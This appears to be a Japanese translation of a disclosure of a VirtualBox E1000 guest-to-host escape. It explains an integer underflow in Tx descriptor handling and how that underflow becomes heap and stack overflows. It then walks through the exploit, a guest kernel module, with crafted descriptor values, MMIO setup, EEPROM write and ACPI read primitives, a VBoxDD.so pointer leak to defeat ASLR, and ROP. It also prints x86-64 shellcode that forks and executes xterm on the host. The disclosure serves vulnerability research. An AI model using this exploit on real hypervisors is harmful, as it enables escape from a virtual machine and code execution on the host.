virtualbox_e1000_0day

それらの構造フィールドを次のように割り当てましょう（フィールド名は人間が読みやすいように仮定的ですが、82540EM仕様に直接マッピングされています）:```
context_1.header_length = 0
context_1.maximum_segment_size = 0x3010
context_1.tcp_segmentation_enabled = true

data_2.data_length = 0x10
data_2.end_of_packet = false
data_2.tcp_segmentation_enabled = true

data_3.data_length = 0
data_3.end_of_packet = true
data_3.tcp_segmentation_enabled = true

context_4.header_length = 0
context_4.maximum_segment_size = 0xF
context_4.tcp_segmentation_enabled = true

data_5.data_length = 0x4188
data_5.end_of_packet = true
data_5.tcp_segmentation_enabled = true

e1kTxDLazyLoad は、Tx リングから5つの Tx ディスクリプタすべてを読み取ります。次に、初めて e1kLocateTxPacket が呼び出されます。この関数はすべてのディスクリプタを反復処理して初期状態を設定しますが、実際にはそれらを処理しません。今回の場合、最初の e1kLocateTxPacket の呼び出しで、context_1、data_2、data_3 ディスクリプタが処理されます。残りの2つのディスクリプタ、context_4 と data_5 は、while ループの2回目の反復で処理されます（2回目の反復については次のセクションで説明します）。この2つの部分への配列分割が脆弱性を発動させるために重要です。その理由を考えてみましょう。

e1kLocateTxPacket は次のようになります：```c
static bool e1kLocateTxPacket(PE1KSTATE pThis)
{
...
    for (int i = pThis->iTxDCurrent; i < pThis->nTxDFetched; ++i)
    {
        E1KTXDESC *pDesc = &pThis->aTxDescriptors[i];
        switch (e1kGetDescType(pDesc))
        {
            case E1K_DTYP_CONTEXT:
                e1kUpdateTxContext(pThis, pDesc);
                continue;
            case E1K_DTYP_LEGACY:
                ...
                break;
            case E1K_DTYP_DATA:
                if (!pDesc->data.u64BufAddr || !pDesc->data.cmd.u20DTALEN)
                    break;
                ...
                break;
            default:
                AssertMsgFailed(("Impossible descriptor type!"));
        }

data_3.end_of_packet が false だった場合、残りの context_4 と data_5 のディスクリプタが処理され、脆弱性が回避されることになります。以下に、その関数からのリターンがどのようにバグにつながるのかを示します。

e1kLocateTxPacket 関数の最後に、ネットワークパケットをアンラップしてネットワークに送信する準備ができた次のディスクリプタがあります: context_1, data_2, data_3。その後、e1kXmitPending の内部ループが e1kXmitPacket を呼び出します。この関数は、すべてのディスクリプタ（この場合は5つ）を反復処理して、実際に処理します。```c
static int e1kXmitPacket(PE1KSTATE pThis, bool fOnWorkerThread)
{
...
    while (pThis->iTxDCurrent < pThis->nTxDFetched)
    {
        E1KTXDESC *pDesc = &pThis->aTxDescriptors[pThis->iTxDCurrent];
        ...
        rc = e1kXmitDesc(pThis, pDesc, e1kDescAddr(TDBAH, TDBAL, TDH), fOnWorkerThread);
        ...
        if (e1kGetDescType(pDesc) != E1K_DTYP_CONTEXT && pDesc->legacy.cmd.fEOP)
            break;
    }

e1kXmitDescに渡される最初のディスクリプタはcontext_1です。この関数はコンテキストディスクリプタに対して何もしません。

e1kXmitDescに渡される2番目のディスクリプタはdata_2です。すべてのデータディスクリプタはtcp_segmentation_enable == true（上記のpDesc->data.cmd.fTSE）であるため、e1kFallbackAddToFrameを呼び出します。そこでdata_5が処理されている間に整数アンダーフローが発生します。```c
static int e1kFallbackAddToFrame(PE1KSTATE pThis, E1KTXDESC *pDesc, bool fOnWorkerThread)
{
    ...
    uint16_t u16MaxPktLen = pThis->contextTSE.dw3.u8HDRLEN + pThis->contextTSE.dw3.u16MSS;

    /*
     * Carve out segments.
     */
    int rc = VINF_SUCCESS;
    do
    {
        /* Calculate how many bytes we have left in this TCP segment */
        uint32_t cb = u16MaxPktLen - pThis->u16TxPktLen;
        if (cb > pDesc->data.cmd.u20DTALEN)
        {
            /* This descriptor fits completely into current segment */
            cb = pDesc->data.cmd.u20DTALEN;
            rc = e1kFallbackAddSegment(pThis, pDesc->data.u64BufAddr, cb, pDesc->data.cmd.fEOP /*fSend*/, fOnWorkerThread);
        }
        else
        {
            ...
        }

        pDesc->data.u64BufAddr    += cb;
        pDesc->data.cmd.u20DTALEN -= cb;
    } while (pDesc->data.cmd.u20DTALEN > 0 && RT_SUCCESS(rc));

    if (pDesc->data.cmd.fEOP)
    {
        ...
        pThis->u16TxPktLen = 0;
        ...
    }

    return VINF_SUCCESS; /// @todo consider rc;
}

data_3 の型が E1K_DTYP_CONTEXT ではなく、かつ data_3.end_of_packet が true であるため、未処理の context_4 や data_5 が残っているにもかかわらず、ループから抜け出します。なぜこれが重要なのでしょうか？この脆弱性を理解する鍵は、すべてのコンテキストディスクリプタがデータディスクリプタよりも先に処理されるという点にあります。コンテキストディスクリプタは、e1kLocateTxPacket 内の TCP セグメンテーションコンテキスト更新時に処理されます。データディスクリプタは、e1kXmitPacket 関数内のループで後から処理されます。開発者の意図は、コード内での整数アンダーフローを防ぐために、データが一部処理された後に u16MaxPktLen を変更することを禁止することでした。```c
uint32_t cb = u16MaxPktLen - pThis->u16TxPktLen;

ここでは、e1kLocateTxPacket を呼び出して、context_4 および data_5 ディスクリプタの初期処理を行います。context_4.maximum_segment_size は、既に読み取られたデータのサイズ、すなわち0x10よりも小さい値に設定できると言われています。入力の Tx ディスクリプタを思い出してください:```
context_4.header_length = 0
context_4.maximum_segment_size = 0xF
context_4.tcp_segmentation_enabled = true

data_5.data_length = 0x4188
data_5.end_of_packet = true
data_5.tcp_segmentation_enabled = true

これにより、0xFFFFFFFF > 0x4188 であるため、以下のチェックが真になります：```c
        if (cb > pDesc->data.cmd.u20DTALEN)
        {
            cb = pDesc->data.cmd.u20DTALEN;
            rc = e1kFallbackAddSegment(pThis, pDesc->data.u64BufAddr, cb, pDesc->data.cmd.fEOP /*fSend*/, fOnWorkerThread);
        }

### Buffer Overflow
e1kFallbackAddSegment をサイズ 0x4188 で呼び出しました。これをどのように悪用できるでしょうか？少なくとも2つの可能性を見つけました。第一に、ゲストからヒープバッファにデータが読み込まれます。```c
static int e1kFallbackAddSegment(PE1KSTATE pThis, RTGCPHYS PhysAddr, uint16_t u16Len, bool fSend, bool fOnWorkerThread)
{
    ...
    PDMDevHlpPhysRead(pThis->CTX_SUFF(pDevIns), PhysAddr,
                      pThis->aTxPacketFallback + pThis->u16TxPktLen, u16Len);

ご覧の通り、整数アンダーフローを古典的なスタックバッファオーバーフローに変換しました。上記の2つのオーバーフロー（ヒープとスタック）はエクスプロイトで使用されます。

## エクスプロイト
エクスプロイトは、ゲストOSにロードするためのLinuxカーネルモジュール（LKM）です。Windowsの場合、初期化ラッパーとカーネルAPI呼び出しが異なるだけで、LKMとは異なるドライバが必要になります。

どちらのOSでも、ドライバをロードするには昇格された権限が必要です。これは一般的であり、克服不可能な障害とは見なされていません。Pwn2Ownコンテストを見てください。研究者はエクスプロイトチェーンを使用します。ゲストOSの悪意のあるWebサイトを開いたブラウザが悪用され、ブラウザのサンドボックスエスケープが行われてリング3へのフルアクセスを獲得し、オペレーティングシステムの脆弱性が悪用されてリング0への道が開かれ、そこからゲストOSからハイパーバイザーを攻撃するために必要なあらゆるものにアクセスできます。
最も強力なハイパーバイザーの脆弱性は、間違いなくゲストリング3から悪用可能なものです。VirtualBoxにも、ゲストのroot権限なしで到達可能なコードがあり、ほとんどがまだ監査されていません。

エクスプロイトは100%信頼性があります。つまり、バイナリの不一致や、私が考慮しなかった他のより微妙な理由により、常に機能するか、まったく機能しないかのどちらかです。少なくとも、デフォルト構成のUbuntu 16.04および18.04 x86_64ゲストで動作します。

### エクスプロイトのアルゴリズム
1) 攻撃者は、Linuxゲストでデフォルトでロードされているe1000.koをアンロードし、エクスプロイトのLKMをロードします。
2) LKMはデータシートに従ってE1000を初期化します。送信側のみが初期化され、受信側は不要です。
3) ステップ1: 情報漏洩。
   1) LKMはE1000のループバックモードを無効にして、スタックバッファオーバーフローコードに到達不能にします。
   2) LKMは整数アンダーフローの脆弱性を使用して、ヒープバッファオーバーフローを発生させます。
   3) ヒープバッファオーバーフローにより、E1000 EEPROMを使用して、128KB範囲内のヒープバッファに対する任意の2バイトを書き込むことができます。したがって、攻撃者は書き込みプリミティブを獲得します。
   4) LKMは書き込みプリミティブを8回使用して、ヒープ上のACPI（Advanced Configuration and Power Interface）データ構造にバイトを書き込みます。バイトは、1バイトが読み取られるヒープバッファのインデックス変数に書き込まれます。バッファサイズが最大インデックス番号（255）よりも小さいため、攻撃者はバッファを超えて読み取ることができ、読み取りプリミティブを獲得します。
   5) LKMは読み取りプリミティブを8回使用してACPIにアクセスし、ヒープから8バイトを取得します。これらのバイトはVBoxDD.so共有ライブラリのポインタです。
   6) LKMはポインタからRVAを減算してVBoxDD.soのイメージベースを取得します。
4) ステップ2: スタックバッファオーバーフロー。
   1) LKMはE1000のループバックモードを有効にして、スタックバッファオーバーフローコードに到達可能にします。
   2) LKMは整数アンダーフローの脆弱性を使用して、ヒープバッファオーバーフローとスタックバッファオーバーフローを発生させます。保存された戻りアドレス（RIP/EIP）が上書きされます。攻撃者は制御を獲得します。
   3) ROPチェーンが実行され、シェルコードローダーが実行されます。
5) ステップ3: シェルコード。
   1) シェルコードローダーは、スタック上のシェルコードを自身の隣にコピーします。シェルコードが実行されます。
   2) シェルコードはforkおよびexecveシステムコールを実行して、ホスト側で任意のプロセスを生成します。
   3) 親プロセスはプロセスの継続を行います。
6) 攻撃者はLKMをアンロードし、e1000.koを再ロードしてゲストがネットワークを使用できるようにします。

### 初期化
LKMは、E1000 MMIOに関して物理メモリをマッピングします。物理アドレスとサイズはハイパーバイザーによって事前に定義されています。```c
void* map_mmio(void) {
    off_t pa = 0xF0000000;
    size_t len = 0x20000;

    void* va = ioremap(pa, len);
    if (!va) {
        printk(KERN_INFO PFX"ioremap failed to map MMIO\n");
        return NULL;
    }

    return va;
}

configure_CTRL(mmio);

// Configure TX registers

g_tx_ring = kmalloc(MAX_TX_RING_SIZE, GFP_KERNEL);
if (!g_tx_ring) {
    printk(KERN_INFO PFX"Failed to allocate TX Ring\n");
    return;
}

configure_TDBAL(mmio);
configure_TDBAH(mmio);
configure_TDLEN(mmio);
configure_TCTL(mmio);

### ASLR バイパス
#### 書き込みプリミティブ
エクスプロイト開発の当初から、デフォルトで無効化されているサービスに見られるプリミティブを使わないことにしました。これはまず、過去1年間に研究者によって40以上の脆弱性が発見されている3Dアクセラレーションを提供するChromiumサービス（ブラウザではない）を意味します。

問題は、デフォルトのVirtualBoxサブシステムにおける情報漏洩を見つけることでした。明白な考えは、整数アンダーフローによってヒープバッファがオーバーフロー可能なら、バッファ以降の任意のものを制御できるというものです。追加の脆弱性はまったく必要なかったことがわかります。整数アンダーフローは、スタックバッファオーバーフローは言うまでもなく、読み取り、書き込み、情報漏洩のプリミティブをそこから導出するのに非常に強力であることが判明しました。

ヒープ上で正確に何がオーバーフローするのかを調べてみましょう。```c
/**
 * Device state structure.
 */
struct E1kState_st
{
...
    uint8_t     aTxPacketFallback[E1K_MAX_TX_PKT_SIZE];
...
    E1kEEPROM   eeprom;
...
}

どのように悪用できるでしょうか？ E1000はEEPROM、セカンダリアダプタメモリを実装しています。ゲストOSはE1000 MMIOレジスタを介してアクセスできます。EEPROMは複数の状態を持つ有限オートマトンとして実装されており、4つのアクションを実行します。ここでは「メモリへの書き込み」のみに注目します。その様子は次のとおりです（src/VBox/Devices/Network/DevEEPROM.cpp）：```c
EEPROM93C46::State EEPROM93C46::opWrite()
{
    storeWord(m_u16Addr, m_u16Word);
    return WAITING_CS_FALL;
}

void EEPROM93C46::storeWord(uint32_t u32Addr, uint16_t u16Value)
{
    if (m_fWriteEnabled) {
        E1kLog(("EEPROM: Stored word %04x at %08x\n", u16Value, u32Addr));
        m_au16Data[u32Addr] = u16Value;
    }
    m_u16Mask = DATA_MSB;
}

このステートメントは、構造体内に存在するm_au16Dataから任意の16ビットオフセットに2バイトを書き込みます。書き込みプリミティブが得られました。

#### Read primitive
次の課題は、共有ライブラリポインタをリークしてそのイメージベースを取得するという主な目標を追求するために、ヒープ上のデータ構造を見つけて任意のデータを書き込むことでした。幸いにも、不安定なヒープスプレーを行う必要はありませんでした。仮想デバイスの主要なデータ構造は、ハイパーバイザ内部のヒープから、仮想アドレスがASLRによってランダム化されているにもかかわらず、それらの間の距離が常に一定となるように割り当てられるからです。

仮想マシンが起動されると、PDM（プラグ可能デバイスおよびドライバマネージャ）サブシステムは、ハイパーバイザヒープ内にPDMDEVINSオブジェクトを割り当てます。```c
int pdmR3DevInit(PVM pVM)
{
...
        PPDMDEVINS pDevIns;
        if (paDevs[i].pDev->pReg->fFlags & (PDM_DEVREG_FLAGS_RC | PDM_DEVREG_FLAGS_R0))
            rc = MMR3HyperAllocOnceNoRel(pVM, cb, 0, MM_TAG_PDM_DEVICE, (void **)&pDevIns);
        else
            rc = MMR3HeapAllocZEx(pVM, MM_TAG_PDM_DEVICE, cb, (void **)&pDevIns);
...

E1000デバイスが#0xEの位置にあることに注意してください。2番目のリストでは、次のデバイスがE1000から0x5700のオフセットにあり、その次は0x19E0、というように確認できます。これらの距離は常に同じであり、それが私たちの悪用機会であることは既に述べました。

E1000に続くデバイスは、ICH IC'97、OHCI、ACPI、VirtualBox GIMです。それらのデータ構造を学ぶことで、書き込みプリミティブを使用する方法を理解しました。

仮想マシンの起動時に、ACPIデバイスが作成されます (src/VBox/Devices/PC/DevACPI.cpp):```c
typedef struct ACPIState
{
...
    uint8_t             au8SMBusBlkDat[32];
    uint8_t             u8SMBusBlkIdx;
    uint32_t            uPmTimeOld;
    uint32_t            uPmTimeA;
    uint32_t            uPmTimeB;
    uint32_t            Alignment5;
} ACPIState;

ゲストOSがINB(0x4107)命令を実行してポートから1バイトを読み取ると、ハンドラはau8SMBusBlkDat[32]配列からu8SMBusBlkIdxインデックスにある1バイトを取り出し、ゲストに返します。そして、これが書き込みプリミティブを適用する方法です。仮想デバイスのヒープブロック間の距離は一定であるため、EEPROM93C46.m_au16Data配列からACPIState.u8SMBusBlkIdxまでの距離も一定です。ACPIState.u8SMBusBlkIdxに2バイトを書き込むことで、ACPIState.au8SMBusBlkDatから255バイトの範囲内の任意のデータを読み取ることができます。

障害があります。ACPIState構造体を見ると、配列が構造体の末尾に配置されていることがわかります。残りのフィールドは漏洩に役立ちません。では、構造体の後に何があるか見てみましょう。```
gef➤  x/16gx (ACPIState*)(0x7fc47008be70+0x100)+1
0x7fc47008d4e0:	0xffffe98100000090	0xfffd9b2000000000
0x7fc47008d4f0:	0x00007fc470067a00	0x00007fc470067a00
0x7fc47008d500:	0x00000000a0028a00	0x00000000000e0000
0x7fc47008d510:	0x00000000000e0fff	0x0000000000001000
0x7fc47008d520:	0x000000ff00000002	0x0000100000000000
0x7fc47008d530:	0x00007fc47008c358	0x00007fc44d6ecdc6
0x7fc47008d540:	0x0031000035944000	0x00000000000002b8
0x7fc47008d550:	0x00280001d3878000	0x0000000000000000
gef➤  x/s 0x00007fc44d6ecdc6
0x7fc44d6ecdc6:	"ACPI RSDP"
gef➤  vmmap VBoxDD.so
Start                           End                             Offset                          Perm Path
0x00007fc44d4f3000 0x00007fc44d768000 0x0000000000000000 r-x /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
0x00007fc44d768000 0x00007fc44d968000 0x0000000000275000 --- /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
0x00007fc44d968000 0x00007fc44d977000 0x0000000000275000 r-- /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
0x00007fc44d977000 0x00007fc44d980000 0x0000000000284000 rw- /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
gef➤  p 0x00007fc44d6ecdc6 - 0x00007fc44d4f3000
$2 = 0x1f9dc6

// When loopback mode is enabled data (network packets actually) of every Tx Data Descriptor 
// is sent back to the guest and handled right now via e1kHandleRxPacket.
// When loopback mode is disabled data is sent to a network as usual.
// We disable loopback mode here, at Stage 1, to overflow the heap but not touch the stack buffer
// in e1kHandleRxPacket. Later, at Stage 2 we enable loopback mode to overflow heap and 
// the stack buffer.
e1000_disable_loopback_mode(mmio);

uint8_t leaked_bytes[8];
uint32_t i;
for (i = 0; i < 8; i++) {
    stage_1_overflow_heap_buffer(mmio, tx_ring, i);
    leaked_bytes[i] = stage_1_leak_byte();

    printk(KERN_INFO PFX"Byte %d leaked: 0x%02X\n", i, leaked_bytes[i]);
}

uint64_t leaked_vboxdd_ptr = *(uint64_t*)leaked_bytes;
uint64_t vboxdd_base = leaked_vboxdd_ptr - LEAKED_VBOXDD_RVA;
printk(KERN_INFO PFX"Leaked VBoxDD.so pointer: 0x%016llx\n", leaked_vboxdd_ptr);
printk(KERN_INFO PFX"Leaked VBoxDD.so base: 0x%016llx\n", vboxdd_base);

return vboxdd_base;

整数アンダーフローがスタックバッファオーバーフローにつながらないようにするには、特定のE1000レジスタが設定されている必要があると言われています。その考え方は、ループバックモードでTxディスクリプタを処理中に呼び出されるe1kHandleRxPacket関数でバッファがオーバーフローするというものです。実際、ループバックモードではゲストが自分自身にネットワークパケットを送信するため、送信後すぐに受信されます。このモードを無効にすることで、e1kHandleRxPacketに到達できなくなります。

### DEP Bypass
ASLRをバイパスしました。これでループバックモードを有効にし、スタックバッファオーバーフローをトリガーできます。```c
void stage_2_overflow_heap_and_stack_buffers(void* mmio, void* tx_ring, uint64_t vboxdd_base) {
    off_t buffer_pa;
    void* buffer_va;
    alloc_buffer(&buffer_pa, &buffer_va);

    stage_2_set_up_buffer(buffer_va, vboxdd_base);
    stage_2_trigger_overflow(mmio, tx_ring, buffer_pa);

    free_buffer(buffer_va);
}

void stage_2_main(void* mmio, void* tx_ring, uint64_t vboxdd_base) {
    printk(KERN_INFO PFX"##### Stage 2 #####\n");

    e1000_enable_loopback_mode(mmio);
    stage_2_overflow_heap_and_stack_buffers(mmio, tx_ring, vboxdd_base);
    e1000_disable_loopback_mode(mmio);
}

シェルコードが実行されます。その最初の部分は次のとおりです。```asm
use64

start:
    ; sys_fork
    mov rax, 58
    syscall

    test rax, rax
    jnz continue_process_execution

    ; Initialize argv
    lea rsi, [cmd]
    mov [argv], rsi

    ; Initialize envp
    lea rsi, [env]
    mov [envp], rsi

    ; sys_execve
    lea rdi, [cmd]
    lea rsi, [argv]
    lea rdx, [envp]
    mov rax, 59
    syscall

...

cmd     db '/usr/bin/xterm', 0
env     db 'DISPLAY=:0.0', 0
argv    dq 0, 0
envp    dq 0, 0

; Skip junk
add rsp, 0x10

; Restore the registers that must be preserved according to System V ABI
pop rbx
pop r12
pop r13
pop r14
pop r15

; Skip junk
add rsp, 0x8

; Fix the linked list of PDMQUEUE to prevent segfaults on VM shutdown
; Before:   "E1000-Xmit" -> "E1000-Rcv" -> "Mouse_1" -> NULL
; After:    "E1000-Xmit" -> NULL

; Zero out the entire PDMQUEUE "Mouse_1" pointed by "E1000-Rcv"
; This was unnecessary on my testing machines but to be sure...
mov rdi, [rbx]
mov rax, 0x0
mov rcx, 0xA0
rep stosb

; NULL out a pointer to PDMQUEUE "E1000-Rcv" stored in "E1000-Xmit"
; because the first 8 bytes of "E1000-Rcv" (a pointer to "Mouse_1") 
; will be corrupted in MMHyperFree
mov qword [rbx], 0x0

; Now the last PDMQUEUE is "E1000-Xmit" which will not be corrupted

ret

e1kHandleRxPacket が呼び出されると、コールスタックは次のようになります。```
#0 e1kHandleRxPacket
#1 e1kTransmitFrame
#2 e1kXmitDesc
#3 e1kXmitPacket
#4 e1kXmitPending
#5 e1kR3NetworkDown_XmitPending
...

シェルコードは、RBPに0x48を加算して、e1kR3NetworkDown_XmitPending内にあるべき値にします。次に、レジスタRBX、R12、R13、R14、R15がスタックから取り出されます。これは、System V ABIが呼び出された関数内でそれらを保存することを要求するためです。そうしないと、無効なポインタが含まれているため、ハイパーバイザがクラッシュします。

これで十分かもしれません。なぜなら、仮想マシンはもうクラッシュせず、実行を続けるからです。しかし、VMがシャットダウンされると、PDMR3QueueDestroyDevice関数でアクセス違反が発生します。その理由は、ヒープがオーバーフローしたときに、重要な構造体PDMQUEUEが上書きされるためです。さらに、それは最後の2つのROPガジェット、つまり最後の16バイトによって上書きされます。ROPチェーンのサイズを減らそうと試みましたが失敗しました。しかし、手動でデータを置き換えても、ハイパーバイザはまだクラッシュしていました。つまり、障害は見た目ほど明白ではないということです。

上書きされているデータ構造はリンクリストです。上書きされるデータは最後から2番目のリスト要素にあります。次のポインタが上書きされます。対策は簡単であることが判明しました：```
; Fix the linked list of PDMQUEUE to prevent segfaults on VM shutdown
; Before:   "E1000-Xmit" -> "E1000-Rcv" -> "Mouse_1" -> NULL
; After:    "E1000-Xmit" -> NULL